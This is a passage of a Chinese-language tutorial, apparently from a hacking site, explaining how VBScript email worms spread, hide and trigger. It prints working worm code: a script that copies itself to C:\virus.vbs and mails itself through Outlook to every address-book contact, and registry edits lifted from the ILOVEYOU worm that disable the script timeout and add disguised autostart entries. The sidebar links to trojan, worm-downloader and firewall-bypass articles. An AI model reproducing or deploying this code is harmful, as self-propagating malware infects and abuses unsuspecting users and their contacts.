|
| Set objFs=CreateObject (“Scripting.FileSystemObject”) '创建一个文件系统对象 objFs.CreateTextFile ("C:\virus.txt", 1) '通过文件系统对象的方法创建了一个TXT文件。 |
| objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs") |
| Set objOA=Wscript.CreateObject ("Outlook.Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace ("MAPI") '取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists (i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add (“c:\virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing '清空objMapi变量,释放资源,值得学习的编程习惯 Set objOA=Nothing '清空objOA变量 |
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。
三、蠕虫病毒具有一定的潜伏性
要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:
| On Error Resume Next '容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject ("WScript.Shell") '击活 WScript.Shell 对象 rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") '读入注册表中的超时键值 if (rr>=1) then '超时设置 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if |
上面这部分代码很明显是调整脚本语言的超时设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
| regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" |
其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。怎么样,看出蠕虫病毒是怎样潜伏的吧?
四、蠕虫病毒具有特定的触发性
在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序:
| x=time () if x=xx.xx.xx then ………… end if |
就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。
| 网游盗号木马实现手记 | 01-09 |
| 黑色技术蠕虫下载者[完整源码] | 11-01 |
| 利用BCB自己打造QQ炸弹 | 10-23 |
| 从内存中加载并启动一个exe(delp | 09-27 |
| 开启和关闭Windows xp 防火墙(de | 09-27 |
| 让你的程序通过XP防火墙(delphi编 | 09-27 |
| 如何让你的程序安全通过windows防 | 08-20 |
| 如何透过程序来控制 Windows (XP | 08-20 |
| 动易2005-2006算号器的源代码 | 08-11 |
| API对注册表进行操作(Delphi编程 | 07-30 |
| 一段隐藏注册表项的代码 | 07-26 |
| 了解VB编写病毒的大体方法 | 07-02 |